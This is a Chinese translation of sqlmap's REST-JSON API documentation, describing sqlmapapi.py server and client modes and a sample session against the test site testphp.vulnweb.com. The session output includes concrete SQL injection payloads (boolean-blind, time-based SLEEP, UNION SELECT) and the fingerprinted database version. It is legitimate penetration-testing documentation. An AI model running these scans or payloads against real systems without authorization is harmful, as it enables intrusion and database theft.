API(REST-JSON)

译自:API (REST-JSON)

sqlmap 可以通过 REST-JSON API 运行,即使用 JSON 格式的 REST(REpresentational State Transfer 的缩写)风格的 API 来进行服务器和客户端实例之间的通信。直白地讲,服务器使用 sqlmap 进行扫描,而客户端设置 sqlmap 选项/开关并将结果拉取回来。用于运行 API 的主程序文件是 sqlmapapi.py,而客户端可以在任意用户程序中进行实现。

  1. $ python sqlmapapi.py -hh
  2. Usage: sqlmapapi.py [options]
  3. Options:
  4. -h, --help show this help message and exit
  5. -s, --server Act as a REST-JSON API server
  6. -c, --client Act as a REST-JSON API client
  7. -H HOST, --host=HOST Host of the REST-JSON API server (default "127.0.0.1")
  8. -p PORT, --port=PORT Port of the the REST-JSON API server (default 8775)
  9. --adapter=ADAPTER Server (bottle) adapter to use (default "wsgiref")

通过使用开关 -s 运行 sqlmapapi.py 启用服务器,使用开关 -c 启用客户端,在这两种情况下,用户可以(可选)使用选项 -H(默认为 "127.0.0.1")和选项 -p(默认为 8775)设置监听的 IP 地址和端口。每个客户端的“会话”可以有多个“任务”(例如:运行 sqlmap 扫描),用户可以任意选择某个任务处于当前活动状态。

客户端命令行界面可用的命令有:

  • help——显示可用命令列表以及基本的帮助信息
  • new ARGS——使用提供的参数开始一次新的扫描任务(例如:new -u "http://testphp.vulnweb.com/artists.php?artist=1"
  • use TASKID——切换当前上下文到不同任务(例如:use c04d8c5c7582efb4
  • data——获取并显示当前任务的数据
  • log- 获取并显示当前任务日志
  • status——获取并显示当前任务状态
  • stop——停止当前任务
  • kill——杀死当前任务
  • list——显示所有任务(当前会话)
  • flush——清空所有任务(例如:deletes)
  • exit——退出客户端界面

运行服务器的示例:

  1. $ python sqlmapapi.py -s -H "0.0.0.0"
  2. [12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'..
  3. [12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
  4. [12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
  5. [12:47:51] [DEBUG] REST-JSON API server connected to IPC database
  6. [12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle
  7. [12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0'
  8. [12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
  9. [12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
  10. [12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
  11. [12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
  12. [12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages

运行客户端的示例:

  1. $ python sqlmapapi.py -c -H "192.168.110.1"
  2. [12:47:53] [DEBUG] Example client access from command line:
  3. $ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I '[a-f0-9
  4. ]\{16\}') && echo $taskid
  5. $ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp
  6. hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st
  7. art
  8. $ curl http://192.168.110.1:8775/scan/$taskid/data
  9. $ curl http://192.168.110.1:8775/scan/$taskid/log
  10. [12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'..
  11. .
  12. [12:47:53] [DEBUG] Calling http://192.168.110.1:8775
  13. [12:47:53] [INFO] Type 'help' or '?' for list of available commands
  14. api> ?
  15. help Show this help message
  16. new ARGS Start a new scan task with provided arguments (e.g. 'new -u "http://
  17. testphp.vulnweb.com/artists.php?artist=1"')
  18. use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4
  19. ')
  20. data Retrieve and show data for current task
  21. log Retrieve and show log for current task
  22. status Retrieve and show status for current task
  23. stop Stop current task
  24. kill Kill current task
  25. list Display all tasks
  26. flush Flush tasks (delete all tasks)
  27. exit Exit this client
  28. api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
  29. ession
  30. [12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
  31. [12:48:10] [INFO] New task ID is 'a42ddaef02e976f0'
  32. [12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
  33. [12:48:10] [INFO] Scanning started
  34. api (a42ddaef02e976f0)> status
  35. [12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
  36. s
  37. {
  38. "status": "running",
  39. "returncode": null,
  40. "success": true
  41. }
  42. api (a42ddaef02e976f0)> status
  43. [12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
  44. s
  45. {
  46. "status": "terminated",
  47. "returncode": 0,
  48. "success": true
  49. }
  50. api (a42ddaef02e976f0)> log
  51. [12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
  52. {
  53. "log": [
  54. {
  55. "message": "flushing session file",
  56. "level": "INFO",
  57. "time": "12:48:10"
  58. },
  59. {
  60. "message": "testing connection to the target URL",
  61. "level": "INFO",
  62. "time": "12:48:10"
  63. },
  64. {
  65. "message": "checking if the target is protected by some kind of WAF/
  66. IPS",
  67. "level": "INFO",
  68. "time": "12:48:10"
  69. },
  70. {
  71. "message": "testing if the target URL is stable",
  72. "level": "INFO",
  73. "time": "12:48:10"
  74. },
  75. {
  76. "message": "target URL is stable",
  77. "level": "INFO",
  78. "time": "12:48:11"
  79. },
  80. {
  81. "message": "testing if GET parameter 'artist' is dynamic",
  82. "level": "INFO",
  83. "time": "12:48:11"
  84. },
  85. {
  86. "message": "confirming that GET parameter 'artist' is dynamic",
  87. "level": "INFO",
  88. "time": "12:48:11"
  89. },
  90. {
  91. "message": "GET parameter 'artist' is dynamic",
  92. "level": "INFO",
  93. "time": "12:48:11"
  94. },
  95. {
  96. "message": "heuristic (basic) test shows that GET parameter 'artist'
  97. might be injectable (possible DBMS: 'MySQL')",
  98. "level": "INFO",
  99. "time": "12:48:11"
  100. },
  101. {
  102. "message": "testing for SQL injection on GET parameter 'artist'",
  103. "level": "INFO",
  104. "time": "12:48:11"
  105. },
  106. {
  107. "message": "testing 'AND boolean-based blind - WHERE or HAVING claus
  108. e'",
  109. "level": "INFO",
  110. "time": "12:48:11"
  111. },
  112. {
  113. "message": "GET parameter 'artist' appears to be 'AND boolean-based
  114. blind - WHERE or HAVING clause' injectable (with --string=\"hac\")",
  115. "level": "INFO",
  116. "time": "12:48:12"
  117. },
  118. {
  119. "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
  120. RDER BY or GROUP BY clause (BIGINT UNSIGNED)'",
  121. "level": "INFO",
  122. "time": "12:48:12"
  123. },
  124. {
  125. "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
  126. use (BIGINT UNSIGNED)'",
  127. "level": "INFO",
  128. "time": "12:48:12"
  129. },
  130. {
  131. "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
  132. RDER BY or GROUP BY clause (EXP)'",
  133. "level": "INFO",
  134. "time": "12:48:12"
  135. },
  136. {
  137. "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
  138. use (EXP)'",
  139. "level": "INFO",
  140. "time": "12:48:12"
  141. },
  142. {
  143. "message": "testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING,
  144. ORDER BY or GROUP BY clause (JSON_KEYS)'",
  145. "level": "INFO",
  146. "time": "12:48:12"
  147. },
  148. {
  149. "message": "testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c
  150. lause (JSON_KEYS)'",
  151. "level": "INFO",
  152. "time": "12:48:12"
  153. },
  154. {
  155. "message": "testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, O
  156. RDER BY or GROUP BY clause (FLOOR)'",
  157. "level": "INFO",
  158. "time": "12:48:12"
  159. },
  160. {
  161. "message": "testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR
  162. DER BY or GROUP BY clause (FLOOR)'",
  163. "level": "INFO",
  164. "time": "12:48:12"
  165. },
  166. {
  167. "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
  168. RDER BY or GROUP BY clause (EXTRACTVALUE)'",
  169. "level": "INFO",
  170. "time": "12:48:12"
  171. },
  172. {
  173. "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
  174. DER BY or GROUP BY clause (EXTRACTVALUE)'",
  175. "level": "INFO",
  176. "time": "12:48:12"
  177. },
  178. {
  179. "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
  180. RDER BY or GROUP BY clause (UPDATEXML)'",
  181. "level": "INFO",
  182. "time": "12:48:12"
  183. },
  184. {
  185. "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
  186. DER BY or GROUP BY clause (UPDATEXML)'",
  187. "level": "INFO",
  188. "time": "12:48:12"
  189. },
  190. {
  191. "message": "testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, O
  192. RDER BY or GROUP BY clause (FLOOR)'",
  193. "level": "INFO",
  194. "time": "12:48:12"
  195. },
  196. {
  197. "message": "testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING cla
  198. use (FLOOR)'",
  199. "level": "INFO",
  200. "time": "12:48:12"
  201. },
  202. {
  203. "message": "testing 'MySQL OR error-based - WHERE or HAVING clause (
  204. FLOOR)'",
  205. "level": "INFO",
  206. "time": "12:48:12"
  207. },
  208. {
  209. "message": "testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E
  210. XTRACTVALUE)'",
  211. "level": "INFO",
  212. "time": "12:48:12"
  213. },
  214. {
  215. "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (B
  216. IGINT UNSIGNED)'",
  217. "level": "INFO",
  218. "time": "12:48:12"
  219. },
  220. {
  221. "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (E
  222. XP)'",
  223. "level": "INFO",
  224. "time": "12:48:12"
  225. },
  226. {
  227. "message": "testing 'MySQL >= 5.7.8 error-based - Parameter replace
  228. (JSON_KEYS)'",
  229. "level": "INFO",
  230. "time": "12:48:12"
  231. },
  232. {
  233. "message": "testing 'MySQL >= 5.0 error-based - Parameter replace (F
  234. LOOR)'",
  235. "level": "INFO",
  236. "time": "12:48:13"
  237. },
  238. {
  239. "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (U
  240. PDATEXML)'",
  241. "level": "INFO",
  242. "time": "12:48:13"
  243. },
  244. {
  245. "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (E
  246. XTRACTVALUE)'",
  247. "level": "INFO",
  248. "time": "12:48:13"
  249. },
  250. {
  251. "message": "testing 'MySQL inline queries'",
  252. "level": "INFO",
  253. "time": "12:48:13"
  254. },
  255. {
  256. "message": "testing 'MySQL > 5.0.11 stacked queries (comment)'",
  257. "level": "INFO",
  258. "time": "12:48:13"
  259. },
  260. {
  261. "message": "testing 'MySQL > 5.0.11 stacked queries'",
  262. "level": "INFO",
  263. "time": "12:48:13"
  264. },
  265. {
  266. "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP - c
  267. omment)'",
  268. "level": "INFO",
  269. "time": "12:48:13"
  270. },
  271. {
  272. "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'",
  273. "level": "INFO",
  274. "time": "12:48:13"
  275. },
  276. {
  277. "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query - c
  278. omment)'",
  279. "level": "INFO",
  280. "time": "12:48:13"
  281. },
  282. {
  283. "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query)'",
  284. "level": "INFO",
  285. "time": "12:48:13"
  286. },
  287. {
  288. "message": "testing 'MySQL >= 5.0.12 AND time-based blind'",
  289. "level": "INFO",
  290. "time": "12:48:13"
  291. },
  292. {
  293. "message": "GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AN
  294. D time-based blind' injectable ",
  295. "level": "INFO",
  296. "time": "12:48:23"
  297. },
  298. {
  299. "message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'",
  300. "level": "INFO",
  301. "time": "12:48:23"
  302. },
  303. {
  304. "message": "automatically extending ranges for UNION query injection
  305. technique tests as there is at least one other (potential) technique found",
  306. "level": "INFO",
  307. "time": "12:48:23"
  308. },
  309. {
  310. "message": "'ORDER BY' technique appears to be usable. This should r
  311. educe the time needed to find the right number of query columns. Automatically e
  312. xtending the range for current UNION query injection technique test",
  313. "level": "INFO",
  314. "time": "12:48:23"
  315. },
  316. {
  317. "message": "target URL appears to have 3 columns in query",
  318. "level": "INFO",
  319. "time": "12:48:23"
  320. },
  321. {
  322. "message": "GET parameter 'artist' is 'Generic UNION query (NULL) -
  323. 1 to 20 columns' injectable",
  324. "level": "INFO",
  325. "time": "12:48:24"
  326. },
  327. {
  328. "message": "the back-end DBMS is MySQL",
  329. "level": "INFO",
  330. "time": "12:48:24"
  331. },
  332. {
  333. "message": "fetching banner",
  334. "level": "INFO",
  335. "time": "12:48:24"
  336. }
  337. ],
  338. "success": true
  339. }
  340. api (a42ddaef02e976f0)> data
  341. [12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
  342. {
  343. "data": [
  344. {
  345. "status": 1,
  346. "type": 0,
  347. "value": [
  348. {
  349. "dbms": "MySQL",
  350. "suffix": "",
  351. "clause": [
  352. 1,
  353. 9
  354. ],
  355. "notes": [],
  356. "ptype": 1,
  357. "dbms_version": [
  358. ">= 5.0.12"
  359. ],
  360. "prefix": "",
  361. "place": "GET",
  362. "os": null,
  363. "conf": {
  364. "code": null,
  365. "string": "hac",
  366. "notString": null,
  367. "titles": false,
  368. "regexp": null,
  369. "textOnly": false,
  370. "optimize": false
  371. },
  372. "parameter": "artist",
  373. "data": {
  374. "1": {
  375. "comment": "",
  376. "matchRatio": 0.85,
  377. "trueCode": 200,
  378. "title": "AND boolean-based blind - WHERE or HAVING
  379. clause",
  380. "templatePayload": null,
  381. "vector": "AND [INFERENCE]",
  382. "falseCode": 200,
  383. "where": 1,
  384. "payload": "artist=1 AND 2794=2794"
  385. },
  386. "5": {
  387. "comment": "",
  388. "matchRatio": 0.85,
  389. "trueCode": 200,
  390. "title": "MySQL >= 5.0.12 AND time-based blind",
  391. "templatePayload": null,
  392. "vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
  393. EPTIME]),[RANDNUM])",
  394. "falseCode": null,
  395. "where": 1,
  396. "payload": "artist=1 AND SLEEP([SLEEPTIME])"
  397. },
  398. "6": {
  399. "comment": "[GENERIC_SQL_COMMENT]",
  400. "matchRatio": 0.85,
  401. "trueCode": null,
  402. "title": "Generic UNION query (NULL) - 1 to 20 colum
  403. ns",
  404. "templatePayload": null,
  405. "vector": [
  406. 2,
  407. 3,
  408. "[GENERIC_SQL_COMMENT]",
  409. "",
  410. "",
  411. "NULL",
  412. 2,
  413. false,
  414. false
  415. ],
  416. "falseCode": null,
  417. "where": 2,
  418. "payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
  419. CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
  420. 704c68614672644a477474,0x7162717171)-- aAjy"
  421. }
  422. }
  423. }
  424. ]
  425. },
  426. {
  427. "status": 1,
  428. "type": 2,
  429. "value": "5.1.73-0ubuntu0.10.04.1"
  430. }
  431. ],
  432. "success": true,
  433. "error": []
  434. }
  435. api (a42ddaef02e976f0)> exit
  436. $